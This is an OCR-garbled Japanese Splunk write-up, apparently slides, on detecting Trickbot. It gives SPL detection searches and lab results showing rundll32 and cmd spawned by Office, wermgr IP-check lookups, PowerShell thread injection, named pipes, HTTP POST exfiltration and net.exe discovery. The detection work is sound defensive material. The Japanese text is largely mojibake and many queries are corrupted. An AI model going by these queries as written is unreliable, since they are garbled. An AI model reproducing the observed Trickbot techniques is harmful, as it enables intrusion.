win-de-299. attackrange. local gpupdate. exe 7416 C:\Windows\system32\gpupdate.exe \DserNamePipe48
win-dc-299.attackrange.local svchost . exe 1536 C:\Windows\system32\svchost.exe \DserNamePipe48
win-de-299.attackrange.local WSE1B72.exe 4244 C:\Users\ADMINI~1\AppData\Local\Temp\WSE1B72.exe \DserNamePipede
win-dc-299 . attackrange.local gpupdate . exe 640  C:\Windows\system32\gpupdate.exe \DserNamePipede
win-dc-299 . attackrange.local gpupdate . exe 6356  C:\Windows\system32\gpupdate. exe \DserNamePipedf
win-de-299 . attackrange.local svchost . exe 1536 C:\Windows\system32\svchost .exe \DserNamePipe4f
win-dc-299.attackrange.local powershell.exe 1844 C:\Windows\System32\WindowsPowerShell\v1.@\powershell.exe \postex_331@
win-dc-299.attackrange. local rundl132.exe 3672 C:\Windows\system32\rund1132.exe \postex_331@
win-de-299.attackrange.local powershell .exe 1844 C:\Windows\System32\WindowsPowerShell\v1.@\powershell . exe \postex_7365
win-dc-299. attackrange. local rundl132.exe 6772 C:\Windows\system32\rundl132.exe \postex_7365
win-dc-299.attackrange.local System 4 System \wkssve95
win-dc-299.attackrange.local powershell.exe 6156 ¢:\windows\syswow64\windowspowershell\v1.@\powershell.exe \wkssvec9s
win-dc-299.attackrange.local powershell . exe 6936 c:\windows\syswow64\windowspowershell\v1.@\powershell.exe \wkssvc35

=i

SpluNkZBFHFRAETF —LITZOBEISTNT B7cDIC. DA —=U—%2/EBLE LIce CORb—=U—lF. LLTFOH—
FHEBE TR IN TWET,

1. Office 77— a3 Il Brundl327 O XDERMOEH., Run Dynamic Link Library 3217771 ILAZEL T
Microsoft Officel_ &> TITh 5 /\w I R 77O XDOIER =R L £,

| tstats count values(Processes.process)
min(_time) as firstTime max(_time) as lastTime from data model=Endpoint.Processes
where (Processes.parent_process_name = "winword.exe" OR Processes.parent_process_name
= "excel.exe" OR Processes.parent_process_name = "powerpnt.exe')
Processes.process_name=rundll32.exe by Processes.parent_process
Processes.process_name Processes.process_id Processes.process_guid Processes.user

Processes.dest

| tstats ‘security_content_summariesonly® count values(Processes.process) min{_time) firstTime max({_time) lastTime
datamodel=Endpoint.Processes (Processes.parent_process_name = "winword.exe"
Processes.parent_process_name = "excel.exe" Processes.parent_process_name = "powerpnt.exe") Processes.process_name=rundll32.exe by Processes.parent_process

Processes.process_name Processes.process_id Processes.process_guid Processes.user Processes.dest
| “drop_dm_object_name("Processes")’

v 1 event (29/04/2021 09:00:00.000 to 30/04/2021 09:07:28.000) No Event Sampling =
Events Patterns Statistics (1) Visualization

20 Per Page ¥ ~ Format Preview =

process_name rd

parent_process = Fe s process_id = process_guid ¢ Fd
"C:\Program Files\Microsoft Office\Root\Officel6\EXCEL.EXE" rundl132.exe 5828 {A4D5D1BF-C8C8-608B-030C—
"C:\Temp\trick.x1lsm" 00000000BAG1}

Trickbot DR 25 Loz 7Hv )7 12


https://github.com/splunk/security_content/blob/develop/stories/trickbot.yml
https://github.com/splunk/security_content/blob/develop/detections/endpoint/office_application_spawn_rundll32_process.yml

Splunk > turn data into doin FIA bR—s¥—

2. Wermgr7OERICLBIPFTy I —EXNDEHRDOEL, WEEDNATIPT R L RZFET 5 BRI TWindows
Error Manager®ET 77 1)L aER L TABY —EXICE R LIcCr28H L £,

“sysmon® EventCode =22 process_name = wermgr.exe QueryName IN ("*wtfismyip.com", "*checkip.amazonaws.com",
"*ipecho.net", "*ipinfo.io", "*api.ipify.org", "*icanhazip.com", "*ip.anysrc.com","*api.ip.sb", "ident.me", "www.
myexternalip.com",

""*zen.spamhaus.org'", "*cbl.abuseat.org", "*b.barracudacentral.org","*dnsbl-1.uceprotect.net'", "*spam.dnsbl.
sorbs.net")

| stats min(_time) as firstTime max(_time) as lastTime count by process_path process_name process_id QueryName
QueryStatus QueryResults Computer EventCode

New Search
sysmon’ EventCode =22 process_name = wermgr.exe QueryName ("*wtfismyip.com", "xcheckip.amazonaws.com", "xipecho.net", "wipinfo.io", "xapi.ipify.org",
"*icanhazip.com", "*ip.anysrc.com","*api.ip.sh", "ident.me", ”W\m‘mvuxlcrvulw‘um"Jr‘Luﬂ}pﬂn‘hau;orﬁ"v "xcbl.abuseat.org", "*b.barracudacentral.org","*dnsbl-1.uceprotect.net”, "*spam.dnsbl.sorbs.net")
stats min(_time) firstTime max(_time) lastTime count process_path process_name process_id QueryName QueryStatus QueryResults Computer EventCode

"security_content_ctime(firstTime)®

security_content_ctime(lastTime)"

6 ew

ts (26/04/202115:00:00.000 to 27/04/2021 15:34:59.000) No Event Sampling

Events Patterns Statistics (6) Visualization

20 Per Page + # Format Preview v

process_path #  process_name & / process_id ¢ ~/  QueryName & / QueryStatus ¢ #  QueryResults & 7/  Computer ¢ /
C:\Windows\System32\wermgr . exc wermgr. exe 7172 50.220.65.3.b.barracudacentral.org 9003 win-dc-299. attackrange. local
C:\Windows\Sys’ exe Wermgr.exe ni2 50.2 5.3.cbl.abuseat.org 9003 - win-dc-299. attackrange.local
C:\Windows\Syste: mgr . exe wermgr.exe niz 50. 65.3.dnsbl-1.uceprotect.net 9003 win-dc-299. attackrange. local
C:\Windows\Sys wermgr,exe niz spam.dnsbl.sorbs.net 9003 - win-dc-299. attackrange. local

C: \Windo wermgr. exe 7172 50.2 5.3.zen.spamhaus.org 9003 - win-dc-299., 2 a1

C: \Windows\System32\wermgr . exe wermgr. exe 7172 wtfismyip.com ) FFFF:95.217.228.176; win-dc-299. attackrange. local

3. Wermgr7OEXRICLBRTT 71 ILDIERM,. Windows Error Managerz AL THLWTALIDERINICZ L
ERRHELET,

“sysmon® EventCode=11 process_name = '"wermgr.exe" TargetFilename = '"*.exe"

| stats min(_time) as firstTime max(_time) as lastTime count by Image TargetFilename process_name dest EventCode
ProcessId
New Search

‘sysmon’ EventCode=11 process_name = "wermgr.exe" TargetFilename = "x.exe"

| stats min(_time) firstTime max(_time) lastTime count Image TargetFilename process_name dest EventCode ProcessId
| “security_content_ctime(firstTime)"

| “security_content_ctime(lastTime)"

v 1 event (26/04/202115:00:00.000 to 27/04/202115:36:52.000)  No Event Sampling ~

Events Patterns Statistics (1) Visualization

20 Per Page ~ # Format Preview v

Image + e TargetFilename < r4 process_name + Ve
C:\Windows\system32\wermgr.exe C:\Users\ADMINI~1\AppData\Local\Temp\WSE1B72.exe wermgr.exe
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https://github.com/splunk/security_content/blob/develop/detections/endpoint/wermgr_process_connecting_to_ip_check_web_services.yml
https://github.com/splunk/security_content/blob/develop/detections/endpoint/wermgr_process_create_executable_file.yml

Splunk > turn data into doin 4 kR—/5—

4. Wermgr7 Ot X IZ& BCMDE 7z |EPowershell 7O X DAL, Windows Error Manager& B L TEZ—3IF/Ltzy
>3 FTcldPowershell 7O RN EMINTCCE #EBHELE T,

| tstats values(Processes.process) as cmdline min(_time) as firstTime max(_time) as lastTime from
datamodel=Endpoint.Processes where Processes.parent_process_name = "wermgr.exe" Processes.process_name = '"cmd.
exe" OR Processes.process_name = "powershell.exe" by Processes.parent_process_name Processes.parent_process_id

Processes.process_name Processes.process Processes.process_id Processes.process_guid Processes.dest Processes.user

New Search

| tstats ‘security_content_summariesonly® values(Processes.process) cmdline min(_time) as firstTime max(_time) lastTime datamodel=Endpoint.Processes
Processes.parent_process_name = "wermgr.exe" Processes.process_name = "cmd.exe" Processes.process_name = "powershell. exe"
| Processes.parent_process_name Processes.parent_process_id Processes.process_name Processes.process Processes.process_id Processes.process_guid Processes.dest Processes.user]
| ‘drop_dm_object_name(Processes)’
| ‘security_content_ctime(firstTime)
| “security_content_ctime(lastTime)"

v 6 events (26/04/202115:00:00.000 to 27/04/2021 15:39:18.000) No Event Sampling *

Events Patterns Statistics (6) Visualization

20 Per Page * # Format Preview «

parent_process_name ¢ parent_process_id ¢ process_name * process = Fé process_id = process_guid = Fd dest <
WErmgr. exe 7172 cmd.exe C:\Windows\system32\cmd. exe 5076  {3CFDEE8@-31B4-605B-440B-00000000AEA1}  win-dc-299
wermgr.exe 7172 cmd.exe C:\Windows\system32\cmd. exe 6056  {3CFDEE8@-3082-605B-140B-00000000AE01}  win-dc-299
wermgr.exe 7172 cmd.exe C:\Windows\system32\cmd.exe 7000  {3CFDEE8@-317F-605B-390B-00000000AE01}  win-dc-299
wermgr.exe 7172 cmd. exe C:\Windows\system32\cmd.exe 7288 {3CFDEE8@-3169-605B-330B-00000000AEA1} win-dc-299
wermgr.exe 172 cmd. exe C:\Window em32\cmd. exe 7380 {3CFDEE8@-319A-605B-400B-00000000AER 1} win-dec-299
wermgr.exe 7172 cmd.exe C:\Windows\system32\cmd.exe 8024  {3CFDEE8Q-319F-605B-420B-00000000AE01}  win-dc-299

5. Rundli32D TV R A —ICEBRT T a—ILE R, rundli32exeZfEA L THOTOER AT I35 T 5
SOBRT I a—)LEARIDMER SNIc e #RHELET,

wineventlog_security® EventCode=4698

| xmlkv Message

| search Command IN ("*rundll32*")

| stats count min(_time) as firstTime max(_time) as lastTime by dest, Task_Name, Command, Author, Enabled, Hidden,
Arguments

wineventlog security’ EventCode=4698
| xmlky Message

rch Command 1N ("*rundll33")

min{_time) as firstTime max(_time) tTime by dest, Task_Name, Command, Auther, Enabled, Hidden, Arguments

rity_content

s cou

security_content_ctime(lastTime)

#1 event (29/04/2021 0:00.000 to 30/04/2021 09:23:19.000)  No Event Sampling » Job v
Events  Patterns  Statistics (1) Visualization
20PerPage~  /Formal  Preview ~
Author ~  Enabled #  Hidden
dest & #  Task_Name 2 #  Command # POl 4 = Arguments &
ir

ws Free Internet Download Manager C:\Windows\system32\rundl132. exe ‘enucy true false "C:\Users\Administrator\appData\Roaming\NetDownloadManager_2756!

08
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https://github.com/splunk/security_content/blob/develop/detections/endpoint/wermgr_process_spawned_cmd_or_powershell_process.yml
https://github.com/splunk/security_content/blob/develop/detections/endpoint/schedule_task_with_rundll32_command_trigger.yml

Splunk > turn data into doin 4 kR—/5—

6. EXE1MOWindows” O+ X ICHE A I fcPowershell) £E— kX L K, spoolsvexe (D). explorerexe (7 7))L T

U7 O—Z— ). gpupdateexe (F'A—/N)LRU S —DEFNE W TCBEEIDOWindows 7O X & &% —4'w ke LT
PowerShell DIEE R0 T 71 U RIBOERERE L £,

‘sysmon® EventCode = 8 process_name IN ("powershell_ qise.exe'", "powershell.exe')

TargetImage IN ("*\\svchost.exe","*\\csrss.exe" "*\\gpupdate.exe", "*\\explorer.exe","*\\services.exe","*\\
winlogon.exe","*\\smss.exe","*\\wininit.exe","*\\userinit.exe","*\\spoolsv.exe","*\\taskhost.exe")

| stats min(_time) as firstTime max(_time) as lastTime count by SourceImage process_name SourceProcessId
SourceProcessGuid TargetImage TargetProcessId NewThreadId StartAddress Computer EventCode

New Search

“sysmon’ EventCode = 8 process_name ("powershell _ise.exe", "powershell.exe")

TargetTmage TN ("*\\svchost.exe","*\\csrss.exe" "#\\gpupdate. exe", "s\\explorer.exe", "#\\services.exe", "#\\winlogon.exe","#\\smss. exe",
"*\\wininit.exe", "*\\userinit.exe", "*\\spoolsv.exe", "*\\taskhost.exe")
| stats min(_time) firstTime max(_time) lastTime count

Sourcelmage process_name SourceProcessId SourceProcessGuid TargetImage TargetProcessId NewThreadId StartAddress Computer EventCode
‘security_content_ctime(firstTime)

| ‘security_content_ctime(lastTime)"

~ 3 events (26/04/2021 16:00:00.000 to 27/04/202116:05:04.000)  No Event Sampling ¥

Events Patterns Statistics (3) Visualization
20 Per Page » »# Format Preview v
s y) s s
process_name SourceProcessld TargetProcessld NewThreadld
Sourcelmage = F4 $ s SourceProcessGuid # Fd Targetimage + s $ =
C: \Windows\SysWOWB4\WindowsPowerShell\v1.0\powershell.exe  powershell.exe 6156  {3CFDEE8-33C3-6@58-A208-  C:\Windows\SysWOW64\gpupdate.exe 6520 8076
00000A00AERT )
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe 6156 {3CFDEE8@-33C3-6058-A20B~ C:\Windows\System32\svchost.exe 1236 7296
B000OALBAERT
C: \Windows\SysWOWG4\WindowsPowerShell\v1.0\powershell.exe  powershell.exe 6156  {3CFDEE8@-33C3-6058-A208- C:\Windows\System32\svchost.exe 1536 2948

00000Q00AERT )}

7. SMBEETORITIFIILDEFAFA, SMBEEZ 44—V LICRT 77 1ILOIERE R LET, Chld<ib
YT HBEEEENTLICHODFEDIDTY,

‘wineventlog_security: EventCode=5145 Relative_Target_Name IN ("*.exe","*.dl1") Object_Type=File Share_Name IN
CNNNNFNEE!, MNANNFNIPCS, "\\\\*\\admin$") Access_Mask= "@x2"

| stats min(_time) as firstTime max(_time) as lastTime count by EventCode Share_Name Relative_Target_Name Object_
Type Access_Mask user src_port Source_Address

wineventlog_security’ EventCode=5145 Relative_Target_Name ("*. exe", "x d11")
Object_Type=File Share_Name CVOARNCE", "\\AAANIPCS", "\\\\*\\admin$") Access_Mask= "@x2"
| stats min(_time) firstTime max(_time) lastTime count

EventCode Share_Name Relative_Target_Name Object_Type Access_Mask user src_port Source_Address
| “security_content_ctime(firstTime)’

| “security_content_ctime(lastTime)

+ 4 events (before 30/04/2021 09:41:13.000) No Event Sampling ~

Events Patterns Statistics (2) Visualization
20 Per Page v # Format Preview v
EventCode * ~  Share_Name #  Relative_Target_Name % #  Object_Type = #  Access_Mask = 7 user% s src_port ¢ #  Source_Ad
5145 \\A\ADMIN$ sreceive.exe File 0x2 Administrator 56350  10.0.1.14
5145 \\F\CS sreceive.exe File 8x2 Administrator 56350 10.0.1.14
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https://github.com/splunk/security_content/blob/develop/detections/endpoint/powershell_remote_thread_to_known_windows_process.yml
https://github.com/splunk/security_content/blob/develop/detections/endpoint/write_executable_in_smb_share.yml

Splunk > turn data into doin FIA bR—s¥—

8. TrickbotDEBMTE /1T, KBTI/ A TOIERC T O XEhBEZ . TrickbotDRITICERE LB I A& H L
i—a_o

‘sysmon® EventCode IN (17,18) PipeName="\\pipe\\*lacesomepipe"

| stats min(_time) as firstTime max(_time) as lastTime count by Computer user_id EventCode PipeName signature
Image process_id

“sysmon’ EventCode (17,18) PipeName="\\pipe\\*lacesomepipe"
| stats min(_time) firstTime max(_time) lastTime count
| ‘security_content_ctime(firstTime)"
| 'security_content_ctime(lastTime)"

Computer user_id EventCode PipeName signature Image process_id

+ 1event (before 30/04/2021 09:44:21.000) No Event Sampling +

Events Patterns Statistics (1) Visualization

20 Per Page ¥ # Format Preview v

Computer = / user_id = Fé EventCode = PipeName < /’ signature rd Image
win-dc-795.attackrange. local 'S-1-5-18" 17 \pipe\1844lacesomepipe Pipe Created C:\Win(

9. L —2HTTP POSTICE BT —42 D, T— 25 BAETICHDICHTTIP POSTAYV Y RAMERINIcZ e xiEH L
E

“stream_http® http_method=POST form_data IN ("*wermgr.exe*'", K '"*svchost.exe*",
"xpame=\"proclist\"*","*ipconfig*", "*name=\"sysinfo\"*", "*net view*") |stats values(form_data)
as http_request_body min(_time) as firstTime max(_time) as lastTime count by http_method
http_user_agent uri_path url bytes_in bytes_out

‘stream_http’ http_me

d=POST form_data IN ("*wermgr.exex","ssvchost.exex”,
"*ipconfigx", "sname=\"sy

http_request_body min
http_use

"xname=\"proclis

Ve

et views") |stats values(form_data)
(_time) as firstTime max(_time) as lastTime count by http_method

nt uri_path url bytes_in bytes_out | 'security_content_ctime(firstTime)
security_content_ctime(lastTime)'|

~1event (before 30/04/202109:49:39.000)  No Event Sampling

Events  Patterns  Statistics{1)  Visualization
20 Per Page v # Format Preview v

v ’ P
http_method bytes_in  bytes_out
s hitp_user_agent & /  uri_path 2 s s

url $ ’ http_request_body *

@ (Windows NT; Windows

1LLD:// —

KitFormBoundary TMA4YWxkT rZudgh
en-US) PC_W

E64CCH 493520850B8/90  PC_W617601.723196F318 94F40352085688/90 Cor position: form-data; name="proclist
hel1/5.1.14393.4350

====PROCESS LIST-======

winini

csrss

winlogon. exe

10. Net Appll LB T7H UV b, RERLICNI YV OT7AOY MEEEBIE LT, netAV Y RAMERINICC %1%
HLET,

| tstats ‘security_content_summariesonly® values(Processes.process) as process values(Processes.parent_process) as
parent_process values(Processes.process_id) as process_id

count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes

where Processes.process_name="net.exe" OR Processes.process_name="net1.exe" AND (Processes.process="*user*" OR
Processes.process="*config*" OR Processes.process="*view /all*")

by Processes.process_name Processes.dest Processes.user Processes.parent_process_name
| where count >=5
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https://github.com/splunk/security_content/blob/develop/detections/endpoint/trickbot_named_pipe.yml
https://github.com/splunk/security_content/blob/develop/detections/network/plain_http_post_exfiltrated_data.yml
https://github.com/splunk/security_content/blob/develop/detections/endpoint/account_discovery_with_net_app.yml

Splunk > turn data into doin 4 kR—/5—

| tstats 'security_content_summariesonly’ values(Processes.process) process values(Processes.parent_process) parent_process values(Processes.process_id) process_id
count min(_time) as firstTime max(_time) as lastTime datamodel=Endpoint.Processes

Processes.process_name="net.exe" Processes.process_name="net1.exe" (Processes.process="*user*" Processes.process="xconfigx" Processes.process="+view /allx")

Processes.process_name Processes.dest Processes.user Processes.parent_process_name
where count >=5
“drop_dm_object_name(Processes)
‘security_content_ctime(firstTime)'

‘security_content_ctime(lastTime)'

¥ 8 events (before 03/05/202117:28:1.000)  No Event Sampling *
Events  Patterns  Stafistics (1) Visualizatior

50 Per Page »  # Format Preview =

drocess_name & 7 dests 7/ users #  parent_process_name 7/ process ¢ /  parent_process ¢

et . exe win-dc-299.attackrange. local Administrator cnd. exe net user /dol C:\Windows\system32\cmd. exe

net users em32\cmd.exe /C net user /domain

net config workstation stem32\cmd.exe /C net users /domain

net view /all

net view /all /domain

11. Office® I L BACMDEFT AL RDER. REFTDTrickbotlZ LB AT T4vs v OEEICHTISLELIce 2D
W FETlE, OfficeXEA cmdexexER L. hta¥d > O—F—DOR_RAO—R&RTIT52IVVRERITLET,

| tstats “security_content_summariesonly® count min(_time) as firstTime max(_time) as lastTime from
datamodel=Endpoint.Processes

where (Processes.parent_process_name = "winword.exe" OR Processes.parent_process_name= "excel.exe" OR Processes.
parent_process_name = "powerpnt.exe'") Processes.process_name=cmd.exe by

Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.process_guid

Processes.user Processes.dest | ‘drop_dm_object_name("Processes"): | ‘security_content_

ctime(firstTime) | security_content_ctime(lastTime)*

| tstats ‘security_content_summariesonly’ count min(_time) firstTime max(_time) lastTime D =Endpoint.Processes
1.exe" Processes.parent_process_name = "powerpnt.exe") Processes.process_name=cmd.exe

Processes.parent_process_name= "e

ere (Processes.parent_process_name = "winword.exe" O

id Processes

Processes.parent_process Processes.process_name Processes.process Processes.process_

Processes.user Processes.dest | ‘drop_dm_object_name("Processes”) security_content_ctime(fir: rity_content_ctime(lastTime)

« 2 events (18/07/2021 10:00:00.000 to 19/07/2021 10:55:15.000) No Event Sampling *

Events Patterns Statistics (1) Visualization
20 Per Page ¥ # Format Preview «
parent_process = s process_name 3 process 7 process_id +

amdata\boxDelInd.hta 6364

r.doc" cmd. exe end /c c:\prog

"C:\Program Files

12. MshtalC & ARundll32% 7c |dRegSvr327 O XA MDA, C1id. mshtaexeh /L L7241 L\ rundl32F 7214
regsvr32 7O X #&H L 7,

| tstats ‘security_content_summariesonly® count min(_time) as firstTime max(_time) as lastTime from
datamodel=Endpoint.Processes
where Processes.parent_process_name = '"mshta.exe"
(Processes.process_name=rundll32.exe OR Processes.process_name=regsvr32.exe) by
Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.process_guid
Processes.user Processes.dest | “drop_dm_object_name("Processes"): | ‘security_content_

ctime(firstTime) | security_content_ctime(lastTime)*

| tstats 'security_content_summariesonly’ count min{_time) firstTime max(_time) lastTime datamodel=Endpoint.Processes
Processes.parent_process_name = "mshta.exe" rocesses.process_name=rundl132.exe Processes.process,name—regsvr}Z‘exe)l
Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.process_guid

Processes.user Processes.dest | ‘drop_dm_object_name("Processes")’ | 'security_content_ctime(firstTime)' | security_content_ctime(lastTime)"

2 of 112,526 events matched No Event Sampling

Events Patterns Sta s (1) Visualization

20 Per Page ~ # Format Preview =

process_name

parent_process < Fd s process <
"C:\Windows\SysWOW64\mshta.exe" "C:\programdata\boxDelInd.hta" {1E46@BD7-F1C3-4B2E-88BF-4E77@A288AF5} regsvri2.exe "C:\Windows\System32\regsvr32.exe"
{1E460BD7-F1C3-4B2E-88BF-4E7T@A288AF5} c:\users\public\boxDelInd. jpg
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